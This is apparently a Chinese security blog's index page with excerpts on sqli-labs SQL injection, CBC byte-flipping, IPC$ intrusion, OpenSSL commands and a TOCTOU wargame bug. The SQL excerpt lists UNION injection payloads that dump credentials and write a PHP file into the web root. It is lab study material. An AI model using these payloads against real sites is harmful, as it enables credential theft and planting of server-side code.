SQL注入之旅 : Sqli Labs Part 1 - GET报错注入

作者: 时间: 2017-03-27 评论: 暂无评论

这个系列基于sqli-labs,请自行下载

0x00 前言

抛弃“简单的跑工具,跑不出来就放弃“的局面,开始潜下心来好好理一理SQL注入。每篇文章可能包含了sqli-labs里面的几个实验。

0x02 使用到的语句

# 查看该表有几个字段
' ORDER BY 3 --+
" ORDER BY 3 --+
') ORDER BY 3 --+

# 找到有漏洞的字段
AND 1=2 UNION SELECT 1,2,3 --+

# 联合查询
AND 1=2 UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata --+
AND 1=2 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+ (数据库十六进制)
AND 1=2 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name=0x7573657273 --+ (表的十六进制)
AND 1=2 UNION SELECT 1,GROUP_CONCAT(username,char(32),password),3 from users --+ 

# 读写文件
AND 1=2 UNION SELECT 1,2,"<?php phpinfo();?>" into outfile "C:/Apache2.2/htdocs/sqli/Less-1/info.php" --+
AND 1=2 UNION SELECT 1,2,load_file("C:/Apache2.2/htdocs/sqli/Less-1/info.php") --+

阅读全文»

CBC字节反转攻击

作者: 时间: 2017-03-26 评论: 暂无评论

CBC加解密原理

原理

先来看下CBC(AES为例)是如何工作的:

加密流程如下:

cbc_encrypt.png

  1. 首先将明文分组(常见的以16字节为一组),位数不足的使用特殊字符填充。
  2. 生成一个随机的初始化向量(IV)和一个密钥。
  3. 将IV和第一组明文异或。
  4. 用密钥对3中xor后产生的密文加密。
  5. 用4中产生的密文对第二组明文进行xor操作。
  6. 用密钥对5中产生的密文加密。
  7. 重复4-7,到最后一组明文。
  8. 将IV和加密后的密文拼接在一起,得到最终的密文。

加密公式:

Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用于第一个组块
Ciphertext-N = Encrypt(Plaintext XOR Ciphertext-N-1)—用于第二及剩下的组块

阅读全文»

一份详尽的IPC$入侵资料

作者: 时间: 2016-12-07 评论: 3条评论

文章转载自http://www.xfocus.net/articles/200303/493.html

文章是纯文章,没有任何插图,现在看的文章很少是这种纯字篇幅又不短的文章,虽说可能会有点枯燥,但是文章写得确是不错,特转载于此。

一 唠叨一下:

网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.

不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).

因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!

二 什么是ipc$

IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。

我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。

所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

解惑:

  1. IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
    也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
  2. 即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
  3. 并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表

阅读全文»

Openssl之enc、dgst和RSA

作者: 时间: 2016-11-11 评论: 1条评论

这次最主要探究的rsa相关,encdgst会稍微过一下。

说来这次初探Openssl也是一直想做的一件事,虽然之前已经把《图解密码学》看完了,但是也一直没有去实践一下。这次刚好有这个契机,就直接搞上了。

如果你也是刚刚接触Openssl,那么建议你在看这篇文章的同时,把官方文档打开放在一边,并且打开一个终端,实践出真知。

enc和dgst

enc

稍微过一下这些命令,首先看下官方文档(Openssl 1.0.1)中给出的enc支持的加密方式:

##### SYNOPSIS #####
openssl enc -ciphername [-in filename] [-out filename] [-pass arg] [-e] [-d] [-a/-base64] [-A] [-k password] [-kfile filename] [-K key] [-iv IV] [-S salt] [-salt] [-nosalt] [-z] [-md] [-p] [-P] [-bufsize number] [-nopad] [-debug] [-none] [-engine id]

##### SUPPORTED CIPHERS #####
 base64             Base 64
 bf-cbc             Blowfish in CBC mode
 bf                 Alias for bf-cbc
 bf-cfb             Blowfish in CFB mode
 bf-ecb             Blowfish in ECB mode
 bf-ofb             Blowfish in OFB mode

 cast-cbc           CAST in CBC mode
 cast               Alias for cast-cbc
 cast5-cbc          CAST5 in CBC mode
 cast5-cfb          CAST5 in CFB mode
 cast5-ecb          CAST5 in ECB mode
 cast5-ofb          CAST5 in OFB mode

 des-cbc            DES in CBC mode
 des                Alias for des-cbc
 des-cfb            DES in CBC mode
 des-ofb            DES in OFB mode
 des-ecb            DES in ECB mode

 des-ede-cbc        Two key triple DES EDE in CBC mode
 des-ede            Two key triple DES EDE in ECB mode
 des-ede-cfb        Two key triple DES EDE in CFB mode
 des-ede-ofb        Two key triple DES EDE in OFB mode

 des-ede3-cbc       Three key triple DES EDE in CBC mode
 des-ede3           Three key triple DES EDE in ECB mode
 des3               Alias for des-ede3-cbc
 des-ede3-cfb       Three key triple DES EDE CFB mode
 des-ede3-ofb       Three key triple DES EDE in OFB mode

 desx               DESX algorithm.

 gost89             GOST 28147-89 in CFB mode (provided by ccgost engine)
 gost89-cnt        `GOST 28147-89 in CNT mode (provided by ccgost engine) 

 idea-cbc           IDEA algorithm in CBC mode
 idea               same as idea-cbc
 idea-cfb           IDEA in CFB mode
 idea-ecb           IDEA in ECB mode
 idea-ofb           IDEA in OFB mode

 rc2-cbc            128 bit RC2 in CBC mode
 rc2                Alias for rc2-cbc
 rc2-cfb            128 bit RC2 in CFB mode
 rc2-ecb            128 bit RC2 in ECB mode
 rc2-ofb            128 bit RC2 in OFB mode
 rc2-64-cbc         64 bit RC2 in CBC mode
 rc2-40-cbc         40 bit RC2 in CBC mode

 rc4                128 bit RC4
 rc4-64             64 bit RC4
 rc4-40             40 bit RC4

 rc5-cbc            RC5 cipher in CBC mode
 rc5                Alias for rc5-cbc
 rc5-cfb            RC5 cipher in CFB mode
 rc5-ecb            RC5 cipher in ECB mode
 rc5-ofb            RC5 cipher in OFB mode

 aes-[128|192|256]-cbc  128/192/256 bit AES in CBC mode
 aes-[128|192|256]      Alias for aes-[128|192|256]-cbc
 aes-[128|192|256]-cfb  128/192/256 bit AES in 128 bit CFB mode
 aes-[128|192|256]-cfb1 128/192/256 bit AES in 1 bit CFB mode
 aes-[128|192|256]-cfb8 128/192/256 bit AES in 8 bit CFB mode
 aes-[128|192|256]-ecb  128/192/256 bit AES in ECB mode
 aes-[128|192|256]-ofb  128/192/256 bit AES in OFB mode

阅读全文»

Time Of Check To Time Of Use

作者: 时间: 2016-10-20 评论: 暂无评论

今天在Nebula上面遇到一个有趣的Software Bug,这个bug得名字叫做Time of check to time of use

wikipedia这边写得挺多,可以先看下Time of check to time of use

下面我们来看下实际遇到的例子。

我们以level10的用户登录,flag10下有两个文件,一个是token文件(存有flag10用户的密钥),另一个可执行文件basic是用于读取文件并发送到指定地址进行输出。

阅读全文»